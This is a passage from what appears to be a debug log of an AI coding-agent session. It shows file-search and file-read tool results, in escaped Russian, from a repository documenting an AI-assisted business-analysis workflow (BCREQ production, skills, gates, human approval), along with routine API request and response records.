\u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n40-practice-and-cases.md:22:# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:29:## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n40-practice-and-cases.md:124:## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n40-practice-and-cases.md:142:## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:159:## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\n40-practice-and-cases.md:185:## 5. \u0413\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n40-practice-and-cases.md:207:## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438\\n30-decision-framework.md:23:# \u0420\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439: \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Execution Package\\n30-decision-framework.md:25:## 1. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0438 \u0447\u0435\u043c \u043e\u043d\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\\n30-decision-framework.md:41:## 2. \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430\\n30-decision-framework.md:67:## 3. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `SKILL.md`\\n30-decision-framework.md:90:# \u043f\u043e\u043b\u044f \u0441\u0440\u0435\u0434\u044b (GC-2): \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b, \u0438\u043c\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 (GC-4)\\n30-decision-framework.md:93:# \u043f\u043e\u043b\u044f \u0434\u0435\u043b\u044c\u0442\u044b Source (SK-0): \u0441\u0440\u0435\u0434\u0430 \u0438\u0445 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438 \u043d\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442\\n30-decision-framework.md:109:# \u041d\u0430\u0432\u044b\u043a: <\u0438\u043c\u044f>\\n30-decision-framework.md:111:## \u041a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c\\n30-decision-framework.md:114:## \u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f\\n30-decision-framework.md:117:## \u0428\u0430\u0433\u0438\\n30-decision-framework.md:120:## \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:123:## \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (G-self)\\n30-decision-framework.md:126:## \u041e\u0442\u043a\u0430\u0437\\n30-decision-framework.md:144:## 4. \u041c\u0430\u0440\u0448\u0440\u0443\u0442: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:156:### 4.1 \u0413\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\\n30-decision-framework.md:201:### 4.2 \u041b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:235:## 5. Golden Set\\n30-decision-framework.md:258:# <\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043a\u0435\u0439\u0441\u0430>\\n30-decision-framework.md:259:## \u0412\u0445\u043e\u0434\\n30-decision-framework.md:260:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:261:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 (\u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e)\\n30-decision-framework.md:262:## \u0427\u0435\u0433\u043e \u0432 \u044d\u0442\u0430\u043b\u043e\u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435\u0442\\n30-decision-framework.md:270:## 6. \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438\\n30-decision-framework.md:285:## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u043c\u043a\u0438\",\n[2026-09-29T07:44:54.483Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:54.483Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:54.483Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:54.483Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:44:54.483Z] [INFO]   }\n[2026-09-29T07:44:54.483Z] [INFO] }\n[2026-09-29T07:44:54.492Z] [STDOUT] [log_c6b63d] sending request {\n[2026-09-29T07:44:54.497Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:54.504Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:54.508Z] [STDOUT]   options: {\n[2026-09-29T07:44:54.515Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:54.520Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:54.525Z] [STDOUT]     body: {\n[2026-09-29T07:44:54.527Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:54.531Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:54.534Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:54.536Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:54.540Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:54.542Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:54.545Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:54.547Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:54.549Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:54.552Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:54.555Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:54.567Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:54.572Z] [STDOUT]     },\n[2026-09-29T07:44:54.576Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:54.581Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:54.585Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:54.590Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:54.600Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:54.605Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:54.613Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:54.623Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:54.627Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:54.638Z] [STDOUT]     },\n[2026-09-29T07:44:54.648Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:54.657Z] [STDOUT]   },\n[2026-09-29T07:44:54.661Z] [STDOUT]   headers: {\n[2026-09-29T07:44:54.664Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:54.668Z] [STDOUT]     \"anthropic-beta\": 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\"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:57.096Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:57.102Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:57.106Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:57.111Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:57.123Z] [STDOUT]   \"request-id\": \"req_011CfXMidpmDGRzEcQCjLKs6\",\n[2026-09-29T07:44:57.135Z] [STDOUT]   \"traceresponse\": \"00-092b5543b32e61eaeecf3a7490b9402e-40e6e197747db6c6-01\",\n[2026-09-29T07:44:57.141Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:57.144Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:57.147Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:57.150Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:57.155Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:57.162Z] [STDOUT]   \"cf-ray\": \"a4295d8e0e814d8b-FRA\",\n[2026-09-29T07:44:57.166Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:57.169Z] [STDOUT] [log_236f4b] response parsed {\n[2026-09-29T07:44:57.173Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:57.177Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:57.184Z] [STDOUT]   body: X {\n[2026-09-29T07:44:57.189Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:57.196Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:57.200Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:57.204Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:57.207Z] [STDOUT]     },\n[2026-09-29T07:44:57.211Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:57.213Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:57.216Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:57.220Z] [STDOUT]   },\n[2026-09-29T07:44:57.225Z] [STDOUT]   durationMs: 750,\n[2026-09-29T07:44:57.231Z] [STDOUT] }\n[2026-09-29T07:44:57.751Z] [INFO] {\n[2026-09-29T07:44:57.751Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"message\": {\n[2026-09-29T07:44:57.751Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:57.751Z] [INFO]     \"content\": [\n[2026-09-29T07:44:57.751Z] [INFO]       {\n[2026-09-29T07:44:57.751Z] [INFO]         \"tool_use_id\": \"toolu_012t9FwENmQpbMZbDwcHZjJ8\",\n[2026-09-29T07:44:57.751Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:57.751Z] [INFO]         \"content\": \"# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n\\n> \u0424\u0430\u0439\u043b \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f: \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u2014\\n> [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u2014\\n> [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n> [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n\\n## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n\\n\u0421\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 BCREQ (`A-BCREQ`) \u0438\u0437 \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e\\n\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f (`A-IN`). \u041f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0441\u043b\u0435\u0434.\\n\\n```mermaid\\nflowchart TD\\n    subgraph IN[\\\"\u0412\u0445\u043e\u0434\\\"]\\n        AIN[\\\"A-IN\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430\\\"]\\n        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n        SYS[\\\"\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f (SY-3)\\\"]\\n    end\\n\\n    CIN{{\\\"C-IN\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u0445\u043e\u0434\u0430\\\"}}\\n    AIN --> CIN\\n    PC --> CIN\\n    SYS --> CIN\\n\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e\\\"| P[\\\"P-01 elicitation-processing\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, process \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (EP-R1)\\\"]\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e\\\"| STOP[\\\"\u041e\u0442\u043a\u0430\u0437: \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443(GT-2, fail-closed)\\\"]\\n\\n    subgraph SKA[\\\"\u041d\u0430\u0432\u044b\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 P-01\\\"]\\n        S1[\\\"SK-transcript-normalization\\\"]\\n        S2[\\\"SK-context-extraction\\\"]\\n        S3[\\\"SK-ambiguity-detection\\\"]\\n    end\\n\\n    P --> S1 --> G1 --> S2 --> G2 --> S3 --> G3\\n\\n    G1[\\\"G-self: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u043c\u044b\u0441\u043b\u0430\\\"]\\n    G2[\\\"G-mach: C-CORE, \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b\\\"]\\n    G3{\\\"\u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435\u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438?\\\"}\\n\\n    G3 -->|\\\"\u0434\u0430 (\u0440\u0435\u0431\u0440\u043e \u043f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044e, EP-R5)\\\"| Q[\\\"P-02 clarification-managementSK-question-formation [G5]\\\"]\\n    Q --> AQ[\\\"A-QUEST\u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\\\"]\\n    AQ --> S2\\n\\n    G3 -->|\\\"\u043d\u0435\u0442\\\"| CORE[\\\"A-CORE\u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\"]\\n\\n    CORE --> P3[\\\"P-03 bcreq-formationSK-problem-statement \u2192 SK-value-hypothesis\u2192 SK-bcreq-decomposition \u2192 SK-bcreq-assembly\\\"]\\n\\n    subgraph GATE[\\\"\u0413\u0435\u0439\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 (\u043e\u0434\u0438\u043d \u0433\u0435\u0439\u0442, \u0442\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f)\\\"]\\n        GS[\\\"G-self\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u043d\u0430\u0432\u044b\u043a\u0430\\\"]\\n        GM[\\\"G-machC-OUT + \u0441\u0445\u0435\u043c\u0430 + Golden Set (EP-G1)\\\"]\\n        GH[\\\"G-human\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 + \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (GT-5)\\\"]\\n    end\\n\\n    P3 --> GS --> GM --> GH\\n\\n    GM -->|\\\"\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\\"| REJ[\\\"\u0412\u043e\u0437\u0432\u0440\u0430\u0442 \u043d\u0430 SK-bcreq-assembly\\\"]\\n    REJ --> P3\\n\\n    GH --> OUT[\\\"A-BCREQ\u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\\"]\\n    GH --> TR[\\\"A-TRACE\u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438\\\"]\\n\\n    OUT --> V1[\\\"V-BIZ\\\"]\\n    OUT --> V2[\\\"V-APPROVE\\\"]\\n    OUT --> V3[\\\"V-DEV\\\"]\\n    OUT --> V4[\\\"V-CONTRACT\\\"]\\n\\n    TR -.->|\\\"source_ref (\u0446\u0438\u0442\u0430\u0442\u0430)\\\"| AIN\\n    TR -.->|\\\"step_actor, gate_result\\\"| GATE\\n    TR -.->|\\\"output_ref\\\"| OUT\\n```\\n\\n**\u041a\u0430\u043a \u0447\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444.**\\n\\n1. **\u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u2014 \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433, \u0430 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u0445\u043e\u0434\u0430.** `C-IN` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0434\u043e\\n   \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0438\u043b\u0438 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0421\u0438\u0441\u0442\u0435\u043c\u0430\\n   \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u0433\u0430\u0434\u043a\u043e\u0439.\\n2. **\u0420\u043e\u043c\u0431 `G3` \u2014 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u0441\u043c\u0435\u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.** \u0423\u0445\u043e\u0434 \u0432 `P-02` \u043f\u0440\u0438\\n   \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044f\u0445 \u2014 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0431\u0440\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 (`EP-R3`);\\n   \u0432 \u043b\u0438\u0441\u0442\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u043d \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0441 